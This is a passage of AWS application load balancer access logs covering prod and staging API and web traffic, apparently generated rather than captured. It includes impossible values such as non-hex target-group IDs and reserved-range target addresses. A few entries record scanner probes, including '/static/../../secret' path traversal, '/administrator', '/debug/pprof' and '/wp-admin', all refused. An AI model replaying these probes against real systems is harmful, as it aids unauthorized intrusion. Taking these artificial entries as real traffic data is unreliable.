Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5d5-828d66d1ba2d4cc091243d30" "-" "-" 7 2024-11-01T02:09:09.476364Z "forward" "-" "-" "11.223.217.117:80" "302" "-" "-" -https 2024-11-01T02:09:09.777188Z prod-api-alb 7.19.121.208:24611 10.0.237.154:443 0.093766 0.399441 0.008892 302 302 818 10091 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5d5-058042ee8f39493daf3c8e98" "-" "-" 3 2024-11-01T02:09:09.777188Z "forward" "-" "-" "10.0.237.154:443" "302" "-" "-" -https 2024-11-01T02:09:09.993238Z prod-web-alb 122.167.58.12:55000 10.0.82.237:443 0.062743 0.139920 0.007018 200 200 304 2451 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5d5-61138f31c6b84386b877c051" "prod-web-alb.example.com" "-" 2 2024-11-01T02:09:09.993238Z "forward" "-" "-" "10.0.82.237:443" "200" "-" "-" -https 2024-11-01T02:09:10.630420Z prod-web-alb 198.221.223.202:24727 10.0.44.48:443 0.067606 0.102697 0.090734 200 200 263 11089 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5d6-ff3b8e6e08ab47c8bc957e98" "prod-web-alb.example.com" "-" 3 2024-11-01T02:09:10.630420Z "forward" "-" "-" "10.0.44.48:443" "200" "-" "-" -http 2024-11-01T02:09:11.617738Z staging-alb 60.82.33.185:45602 146.44.209.153:8080 0.068367 0.507230 0.027050 200 200 561 12695 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5d7-dd7b47cb815d4d4f8fa5d59a" "staging-alb.example.com" "-" 10 2024-11-01T02:09:11.617738Z "forward" "-" "-" "146.44.209.153:8080" "200" "-" "-" -http 2024-11-01T02:09:13.129024Z staging-alb 33.18.130.221:63478 138.230.144.216:8080 0.056546 0.658605 0.010305 200 200 907 726 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5d9-71795b85052c4160b76c19a7" "staging-alb.example.com" "-" 7 2024-11-01T02:09:13.129024Z "forward" "-" "-" "138.230.144.216:8080" "200" "-" "-" -https 2024-11-01T02:09:13.661246Z prod-web-alb 176.147.221.57:42141 10.0.105.127:443 0.002472 0.395511 0.020721 200 200 857 10296 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5d9-442a46cb88d746778e05c751" "prod-web-alb.example.com" "-" 2 2024-11-01T02:09:13.661246Z "forward" "-" "-" "10.0.105.127:443" "200" "-" "-" -https 2024-11-01T02:09:14.918814Z prod-api-alb 50.216.239.82:25716 10.0.1.225:443 0.018376 0.454521 0.012175 302 302 138 7179 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5da-32dd4c71810541c8b71dddb1" "prod-api-alb.example.com" "-" 6 2024-11-01T02:09:14.918814Z "forward" "-" "-" "10.0.1.225:443" "302" "-" "-" -http 2024-11-01T02:09:16.073216Z staging-alb 232.20.42.147:40151 238.195.201.42:80 0.027638 0.710715 0.002983 302 302 220 4406 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5dc-685bfdd98bd04b758a6e5b81" "staging-alb.example.com" "-" 9 2024-11-01T02:09:16.073216Z "forward" "-" "-" "238.195.201.42:80" "302" "-" "-" -https 2024-11-01T02:09:17.650876Z staging-alb 196.104.185.213:36108 89.62.247.79:443 0.103535 0.617397 0.105436 200 200 948 4950 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5dd-42edd678bec14e39a9cc231b" "staging-alb.example.com" "-" 6 2024-11-01T02:09:17.650876Z "forward" "-" "-" "89.62.247.79:443" "200" "-" "-" -https 2024-11-01T02:09:19.259537Z staging-alb 246.243.123.20:38298 122.11.243.67:443 0.112075 0.519366 0.129931 301 301 525 1280 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5df-6170b37c1b4f4942b9126c37" "staging-alb.example.com" "-" 2 2024-11-01T02:09:19.259537Z "forward" "-" "-" "122.11.243.67:443" "301" "-" "-" -http 2024-11-01T02:09:21.116836Z staging-alb 141.221.76.168:11430 150.201.30.83:443 0.065837 0.592323 0.096144 200 200 476 3538 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5e1-a87c6ad857a34e65ab778e52" "staging-alb.example.com" "-" 0 2024-11-01T02:09:21.116836Z "forward" "-" "-" "150.201.30.83:443" "200" "-" "-" -https 2024-11-01T02:09:22.001398Z prod-api-alb 188.222.37.142:20623 10.0.32.222:443 0.024125 0.306503 0.002235 404 404 412 12997 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5e2-80300b0553da4d568c49f9a0" "prod-api-alb.example.com" "-" 10 2024-11-01T02:09:22.001398Z "forward" "-" "-" "10.0.32.222:443" "404" "-" "-" -https 2024-11-01T02:09:23.981495Z staging-alb 143.243.66.119:44774 0.161.241.169:443 0.140342 0.579644 0.021971 404 404 554 6505 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5e3-e10f046b917d407e9b9c01b4" "staging-alb.example.com" "-" 4 2024-11-01T02:09:23.981495Z "forward" "-" "-" "0.161.241.169:443" "404" "-" "-" -https 2024-11-01T02:09:25.329932Z prod-api-alb 26.210.63.202:46177 10.0.156.11:443 0.083954 0.125745 0.094545 301 301 747 2447 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5e5-dcac56a8f4ba4703b303723e" "prod-api-alb.example.com" "-" 7 2024-11-01T02:09:25.329932Z "forward" "-" "-" "10.0.156.11:443" "301" "-" "-" -https 2024-11-01T02:09:25.619627Z prod-api-alb 16.22.208.204:53964 10.0.51.224:443 0.000689 0.052213 0.006115 302 302 209 9115 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5e5-24cf2bb6f414411e8d5917ad" "prod-api-alb.example.com" "-" 8 2024-11-01T02:09:25.619627Z "forward" "-" "-" "10.0.51.224:443" "302" "-" "-" -https 2024-11-01T02:09:27.333133Z prod-web-alb 35.152.237.235:44097 10.0.163.96:443 0.093565 0.048782 0.049040 302 302 476 12618 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5e7-320ce22ef2184985bbb91a33" "prod-web-alb.example.com" "-" 5 2024-11-01T02:09:27.333133Z "forward" "-" "-" "10.0.163.96:443" "302" "-" "-" -https 2024-11-01T02:09:28.881109Z prod-api-alb 244.9.19.170:27656 10.0.89.177:443 0.022027 0.001752 0.038762 302 302 84 2274 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5e8-fd2d654b9331475eb1aaca6a" "prod-api-alb.example.com" "-" 2 2024-11-01T02:09:28.881109Z "forward" "-" "-" "10.0.89.177:443" "302" "-" "-" -https 2024-11-01T02:09:29.262012Z prod-api-alb 98.100.200.95:56344 10.0.113.253:443 0.091832 0.358493 0.080330 200 200 280 1881 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5e9-9e5c74b79d7b4b6f85866d7c" "prod-api-alb.example.com" "-" 4 2024-11-01T02:09:29.262012Z "forward" "-" "-" "10.0.113.253:443" "200" "-" "-" -https 2024-11-01T02:09:29.807739Z staging-alb 193.27.228.159:16369 91.251.237.0:443 0.063839 0.414728 0.028103 403 403 574 14780 "GET /administrator HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5e9-e4bd04ff92244ac3a81f4e2b" "-" "-" 1 2024-11-01T02:09:29.807739Z "forward" "-" "-" "91.251.237.0:443" "403" "-" "-" -https 2024-11-01T02:09:31.246407Z prod-api-alb 187.30.117.211:46167 10.0.207.188:443 0.081409 0.108618 0.049837 200 200 473 7148 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5eb-6cbf303de33749efb7b30d4f" "prod-api-alb.example.com" "-" 0 2024-11-01T02:09:31.246407Z "forward" "-" "-" "10.0.207.188:443" "200" "-" "-" -https 2024-11-01T02:09:32.188166Z prod-api-alb 167.228.59.235:13503 10.0.11.50:443 0.020046 0.367690 0.047574 200 200 252 10825 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5ec-e36daa6dbf2645d2bfbb203a" "prod-api-alb.example.com" "-" 10 2024-11-01T02:09:32.188166Z "forward" "-" "-" "10.0.11.50:443" "200" "-" "-" -https 2024-11-01T02:09:33.655008Z staging-alb 56.71.11.250:49868 34.30.22.34:8080 0.045436 0.001735 0.097372 200 200 779 4242 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5ed-f923facaad3e4751b8d684ff" "staging-alb.example.com" "-" 2 2024-11-01T02:09:33.655008Z "forward" "-" "-" "34.30.22.34:8080" "200" "-" "-" -https 2024-11-01T02:09:34.949602Z prod-web-alb 69.167.228.97:64097 10.0.205.184:443 0.035065 0.072562 0.029638 301 301 725 9787 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5ee-3f0e4cf103d74c2f900e0484" "prod-web-alb.example.com" "-" 5 2024-11-01T02:09:34.949602Z "forward" "-" "-" "10.0.205.184:443" "301" "-" "-" -http 2024-11-01T02:09:36.093229Z staging-alb 193.4.146.24:60332 52.67.176.149:443 0.073675 0.427871 0.105273 200 200 800 1002 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5f0-38c6330d430440cca0b29d0f" "staging-alb.example.com" "-" 5 2024-11-01T02:09:36.093229Z "forward" "-" "-" "52.67.176.149:443" "200" "-" "-" -https 2024-11-01T02:09:36.734357Z prod-api-alb 152.176.36.43:26963 10.0.174.131:443 0.090416 0.412419 0.036054 200 200 898 246 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5f0-b9471309136e4000beaa900c" "prod-api-alb.example.com" "-" 8 2024-11-01T02:09:36.734357Z "forward" "-" "-" "10.0.174.131:443" "200" "-" "-" -https 2024-11-01T02:09:38.677185Z prod-web-alb 72.176.46.77:55521 10.0.47.50:443 0.056417 0.499992 0.093543 301 301 841 10244 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5f2-3911edf3ad1140c5967a62f9" "prod-web-alb.example.com" "-" 0 2024-11-01T02:09:38.677185Z "forward" "-" "-" "10.0.47.50:443" "301" "-" "-" -https 2024-11-01T02:09:40.197503Z prod-api-alb 67.105.54.7:63302 10.0.109.170:443 0.015520 0.055905 0.042067 302 302 703 8038 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5f4-3ac5c5b3e0794d9d90986bcd" "prod-api-alb.example.com" "-" 6 2024-11-01T02:09:40.197503Z "forward" "-" "-" "10.0.109.170:443" "302" "-" "-" -https 2024-11-01T02:09:41.516104Z prod-api-alb 174.211.8.155:17765 10.0.162.209:443 0.047875 0.280040 0.058001 302 302 783 2438 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5f5-38544315cb6e499ca3d3c606" "prod-api-alb.example.com" "-" 2 2024-11-01T02:09:41.516104Z "forward" "-" "-" "10.0.162.209:443" "302" "-" "-" -https 2024-11-01T02:09:42.543831Z staging-alb 185.150.37.137:29359 255.224.33.46:8080 0.085153 0.650274 0.003063 200 200 50 477 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5f6-c59f40447a9b432092e2ab8d" "staging-alb.example.com" "-" 0 2024-11-01T02:09:42.543831Z "forward" "-" "-" "255.224.33.46:8080" "200" "-" "-" -https 2024-11-01T02:09:42.837276Z prod-web-alb 79.32.151.110:10916 10.0.39.204:443 0.037530 0.024120 0.076721 200 200 31 6298 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5f6-3fb8a888e0be4e129155124c" "prod-web-alb.example.com" "-" 5 2024-11-01T02:09:42.837276Z "forward" "-" "-" "10.0.39.204:443" "200" "-" "-" -https 2024-11-01T02:09:43.879546Z prod-web-alb 252.37.86.158:20623 10.0.27.87:443 0.052952 0.447084 0.032092 302 302 646 10860 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5f7-b861c4746d79411ba541a126" "prod-web-alb.example.com" "-" 6 2024-11-01T02:09:43.879546Z "forward" "-" "-" "10.0.27.87:443" "302" "-" "-" -https 2024-11-01T02:09:45.479719Z prod-api-alb 88.249.33.125:59334 10.0.162.162:443 0.047372 0.062759 0.067505 301 301 94 2480 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5f9-f5b80ff7eecc479caf3edd16" "prod-api-alb.example.com" "-" 4 2024-11-01T02:09:45.479719Z "forward" "-" "-" "10.0.162.162:443" "301" "-" "-" -https 2024-11-01T02:09:47.119249Z prod-web-alb 70.122.233.109:56417 10.0.165.59:443 0.018049 0.185616 0.059827 301 301 153 1343 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5fb-1d8c0110c063432fa720edd0" "prod-web-alb.example.com" "-" 7 2024-11-01T02:09:47.119249Z "forward" "-" "-" "10.0.165.59:443" "301" "-" "-" -https 2024-11-01T02:09:47.859440Z prod-api-alb 201.82.184.182:27765 10.0.4.79:443 0.003276 0.043571 0.055995 200 200 48 8253 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5fb-49b4c5550ec54df4a399659a" "prod-api-alb.example.com" "-" 9 2024-11-01T02:09:47.859440Z "forward" "-" "-" "10.0.4.79:443" "200" "-" "-" -https 2024-11-01T02:09:49.230220Z staging-alb 161.92.73.166:23985 60.46.82.229:80 0.140529 0.527554 0.128504 404 404 821 10376 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5fd-1b9e1db17b1743cb8c2de57b" "staging-alb.example.com" "-" 0 2024-11-01T02:09:49.230220Z "forward" "-" "-" "60.46.82.229:80" "404" "-" "-" -https 2024-11-01T02:09:51.078642Z prod-api-alb 1.252.202.167:50732 10.0.107.239:443 0.082313 0.189407 0.083683 302 302 728 6670 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5ff-ced34b63bdf643a49fbfe9a0" "prod-api-alb.example.com" "-" 6 2024-11-01T02:09:51.078642Z "forward" "-" "-" "10.0.107.239:443" "302" "-" "-" -https 2024-11-01T02:09:52.969002Z prod-api-alb 193.27.228.126:34677 10.0.74.63:443 0.006671 0.397919 0.028931 404 404 76 8635 "POST /debug/pprof HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d600-471f4e98448c4d43b5108c6e" "-" "-" 1 2024-11-01T02:09:52.969002Z "forward" "-" "-" "10.0.74.63:443" "404" "-" "-" -https 2024-11-01T02:09:53.981451Z staging-alb 136.6.172.130:45019 225.203.165.13:8080 0.073141 0.661150 0.012270 302 302 665 10507 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d601-78b14441db7845a5b2afb9de" "staging-alb.example.com" "-" 8 2024-11-01T02:09:53.981451Z "forward" "-" "-" "225.203.165.13:8080" "302" "-" "-" -https 2024-11-01T02:09:55.119590Z prod-api-alb 199.21.152.112:24778 10.0.53.174:443 0.094731 0.026004 0.085043 301 301 358 12600 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d603-c502de2d0d194c3f89fa9e24" "prod-api-alb.example.com" "-" 5 2024-11-01T02:09:55.119590Z "forward" "-" "-" "10.0.53.174:443" "301" "-" "-" -https 2024-11-01T02:09:55.375081Z staging-alb 130.111.167.187:32179 63.88.86.235:80 0.107657 0.343441 0.129906 200 200 421 10845 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d603-2e6a466a0daa4e9c8d8bc41a" "staging-alb.example.com" "-" 9 2024-11-01T02:09:55.375081Z "forward" "-" "-" "63.88.86.235:80" "200" "-" "-" -https 2024-11-01T02:09:57.189813Z prod-web-alb 143.155.144.132:52227 10.0.52.103:443 0.014523 0.364516 0.097118 302 302 881 12983 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d605-de3d74a62ef947a5b740ce1e" "prod-web-alb.example.com" "-" 9 2024-11-01T02:09:57.189813Z "forward" "-" "-" "10.0.52.103:443" "302" "-" "-" -https 2024-11-01T02:09:58.547386Z prod-api-alb 175.236.222.19:58079 10.0.8.224:443 0.094896 0.014381 0.065809 200 200 61 10188 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d606-a08705b3b0de4209bf162ac1" "prod-api-alb.example.com" "-" 6 2024-11-01T02:09:58.547386Z "forward" "-" "-" "10.0.8.224:443" "200" "-" "-" -https 2024-11-01T02:09:59.520996Z staging-alb 180.252.242.240:23052 53.196.196.24:443 0.117208 0.390190 0.132458 200 200 533 10770 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d607-f839d2716ca14fb7b6eb8f5c" "staging-alb.example.com" "-" 5 2024-11-01T02:09:59.520996Z "forward" "-" "-" "53.196.196.24:443" "200" "-" "-" -https 2024-11-01T02:10:00.992508Z prod-api-alb 136.187.36.69:58971 10.0.41.192:443 0.085377 0.232201 0.078526 301 301 886 12413 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d608-bdf697f43bfb4f10b23236dc" "prod-api-alb.example.com" "-" 5 2024-11-01T02:10:00.992508Z "forward" "-" "-" "10.0.41.192:443" "301" "-" "-" -https 2024-11-01T02:10:01.753833Z prod-api-alb 27.93.25.148:62537 10.0.108.167:443 0.062598 0.193223 0.003727 302 302 234 4837 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d609-07ae7e749e914874a6f4112f" "prod-api-alb.example.com" "-" 7 2024-11-01T02:10:01.753833Z "forward" "-" "-" "10.0.108.167:443" "302" "-" "-" -https 2024-11-01T02:10:03.324104Z prod-web-alb 193.27.228.240:14795 10.0.226.222:443 0.066259 0.426556 0.099040 403 403 684 4367 "GET /static/../../secret HTTP/1.1" "zgrab/0.x" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d60b-4097fd3e57404b6a92270583" "-" "-" 8 2024-11-01T02:10:03.324104Z "forward" "-" "-" "10.0.226.222:443" "403" "-" "-" -http 2024-11-01T02:10:05.093072Z staging-alb 45.155.205.189:26336 186.213.198.137:443 0.050681 0.695268 0.051799 403 403 534 4416 "GET /wp-admin HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d60d-40611d3b05384dc0b072606a" "-" "-" 1 2024-11-01T02:10:05.093072Z "forward" "-" "-" "186.213.198.137:443" "403" "-" "-" -https 2024-11-01T02:10:06.406193Z prod-api-alb 193.27.228.26:20937 10.0.78.243:443 0.001691 0.110906 0.099912 404 404 141 12015 "GET /static/../../secret HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d60e-2e53debbc78d431e9521075c" "-" "-" 7 2024-11-01T02:10:06.406193Z "forward" "-" "-" "10.0.78.243:443" "404" "-" "-" -https 2024-11-01T02:10:07.202674Z staging-alb 249.230.204.5:55075 138.127.99.214:80 0.099839 0.502596 0.013342 301 301 511 1151 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) 